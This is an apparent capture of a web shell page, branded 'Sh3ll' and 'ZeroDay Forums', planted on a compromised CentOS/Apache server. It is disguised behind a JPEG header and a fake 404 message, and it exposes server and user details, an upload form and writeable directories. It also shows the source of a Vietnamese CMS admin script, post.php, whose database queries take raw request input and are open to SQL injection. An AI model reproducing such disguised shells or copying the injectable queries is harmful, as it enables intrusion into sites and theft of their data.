����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/luckymerchan/code/admin/posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/luckymerchan/code/admin/posts/post.php
<?php
function showListMenus($categories, $parent_id = 0, $char = '',$arr_menu_check)
{
    // BƯỚC 2.1: LẤY DANH SÁCH CATE CON
    $cate_child = array();
    foreach ($categories as $key => $item)
    {
        // Nếu là chuyên mục con thì hiển thị
        if ($item['menus_parentid'] == $parent_id)
        {
            $cate_child[] = $item;
            unset($categories[$key]);
        }
    }

    // BƯỚC 2.2: HIỂN THỊ DANH SÁCH CHUYÊN MỤC CON NẾU CÓ
    if ($cate_child)
    {
        echo '<ul class="list-group" id="tree" style="font-size: 11px;">';
        foreach ($cate_child as $key => $item)
        {
            $checked= '';
            if(in_array($item['menus_id'],$arr_menu_check)){
                $checked = 'checked';
            }
            // Hiển thị tiêu đề chuyên mục
            echo '<li class="list-group-item">
                <input type="checkbox" name="menus_id[]" value="'.$item['menus_id'].'" '.$checked.' /> '.$item['menus_name'];

            // Tiếp tục đệ quy để tìm chuyên mục con của chuyên mục đang lặp
            showListMenus($categories, $item['menus_id'], $char.' &nbsp; &nbsp; ',$arr_menu_check);
            echo '</li>';
        }
        echo '</ul>';
    }
}

$query = $DB->query("SELECT * FROM tb_menus WHERE menus_type='normal' ORDER BY `menus_pos` ASC");
$arr_menus = array();
while($row = $DB->fetch_row($query))
{
    $arr_menus[] = $row;
}

$id = (isset($CORE->input['id']) && $CORE->input['id']>0) ? $CORE->input['id'] : 0;
$arr_menu_check = array();
if($id==0){
    $row_check = $DB->get_colum_tb('tb_pages');

}else{
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_pages WHERE id='$id'"));
    $q_menu = $DB->query("SELECT * FROM tb_menus_pages WHERE pages_id='$id'");
    while ($r_menu = $DB->fetch_row($q_menu)){
        $arr_menu_check[] = $r_menu['menus_id'];
    }
}
/*print_r($arr_menu_check);
exit();*/
if(isset($CORE->input['submitbt'])){
    $f = $CORE->input['f'];
    /*print_r($f);
    exit();*/
    $tags = str_replace(array('[{','}]','},{'),array('','',','),$CORE->input['tags']);
    $arr_tags = explode(',',$tags);
    $txt_tags = '';
    $arr_tags2 = array();
    if(!empty($arr_tags)) {
        foreach ($arr_tags as $val) {
            $arr_val  = explode(':',$val);
            if(isset($arr_val[1])) {
                $arr_tags2[] = str_replace(array('"', '&quot;'), array('', ''), $arr_val[1]);
            }
        }
    }
    $txt_tags = implode(',',$arr_tags2);
    $status = 1;
    if(isset($f['status'])){
        $status = 0;
    }
    $noibat = 0;
    if(isset($f['noibat'])){
        $noibat = 1;
    }
    $ftitle = $func->format_string(trim($f['title']));
    if($f['id']==0){
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_pages WHERE ftitle='$ftitle' "));
        if(!$row_check) {
            $arr_insert = array('title' => trim($f['title']), 'ftitle' => $ftitle, 'intro' => trim($f['intro']), 'body' => trim($f['body']), 'tags' => $txt_tags, 'time' => time(), 'pos' => intval($f['pos']), 'status' => $status, 'noibat' => $noibat);
        }else{
            exit('Bài viết bị trùng');
        }
        $id = $DB->do_insert('tb_pages',$arr_insert);

    }else{
        $id = $f['id'];
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_pages WHERE ftitle='$ftitle' AND id!='$id' "));
        if(!$row_check) {
            $arr_update = array('title' => trim($f['title']), 'ftitle' => $ftitle, 'intro' => trim($f['intro']), 'body' => trim($f['body']), 'tags' => $txt_tags, 'time' => time(), 'pos' => intval($f['pos']), 'status' => $status, 'noibat' => $noibat);
            $DB->do_update('tb_pages', $arr_update, " WHERE id='" . $id . "' ");
        }else{
            exit('Bài viết bị trùng');
        }
        //delete old img

        if($_FILES['image_field'] && $_FILES['image_field']['name']!=''){
            $row_check = $DB->fetch_row($DB->query("SELECT path_img FROM tb_pages WHERE id='$id' "));
            if($row_check['path_img']!='' && file_exists($row_check['path_img'])){
                unlink($row_check['path_img']);
                $DB->query("UPDATE tb_pages SET path_img='',img='' WHERE id='$id' ");
            }
        }
        //delete menu
        $DB->query("DELETE FROM tb_menus_pages WHERE pages_id='$id' ");
        //$print->refresh('?act=admin&code=posts&type=post&id='.$id);
    }
    //insert menu
    $menus_id = $CORE->input['menus_id'];
    foreach ($menus_id as $val){
        $row_menu = $DB->fetch_row($DB->query("SELECT menus_fname FROM tb_menus WHERE menus_id='$val'"));
        $arr_insert2 = array('menus_id'=>$val,'pages_id'=>$id,'menus_fname'=>$row_menu['menus_fname']);
        $DB->do_insert('tb_menus_pages',$arr_insert2);
    }
    //upload image
    if($_FILES['image_field']){

        include 'lib/class.upload.php';
        $url_img = '';
        $handle = new upload($_FILES['image_field']);

        if ($handle->uploaded) {
            $ftitle = $func->format_string(trim($f['title']));
            $v_image_name = substr($ftitle,0,20).'_'.time().'_'.uniqid();
            $handle->allowed = array('image/*');
            $handle->file_new_name_body  = $v_image_name;
            $handle->file_max_size = '1000000';
            $handle->image_convert = 'png';

            $year_now = date('Y');
            $month_now = date('m');
            if(!is_dir("upload/pages")){
                mkdir("upload/pages", 0777);
            }
            if (is_dir("upload/pages/" . $year_now)) {
                if (!is_dir("upload/pages/" . $year_now . "/" . $month_now)) {
                    mkdir("upload/pages/" . $year_now . "/" . $month_now, 0777);
                }
            } else {
                mkdir("upload/pages/" . $year_now, 0777);
                if (!is_dir("upload/pages/" . $year_now . "/" . $month_now)) {
                    mkdir("upload/pages/" . $year_now . "/" . $month_now, 0777);
                }
            }
            $v_folder = $year_now . "/" . $month_now;
            $handle->process('upload/pages/'.$v_folder.'/');

            if ($handle->processed) {
                $url_img = 'upload/pages/'.$v_folder.'/'.$v_image_name.'.png';
                $handle->clean();
            } else {
                $url_img = '';
                $handle->clean();

            }
            $DB->query("UPDATE tb_pages SET path_img='$url_img',img='".$v_image_name.".png' WHERE id='$id' ");

        }
    }
    if($f['id']==0) {
        $print->refresh('?act=admin&code=posts');
    }else {
        $print->refresh('?act=admin&code=posts&type=post&id=' . $id);
    }
}
?>

ZeroDay Forums Mini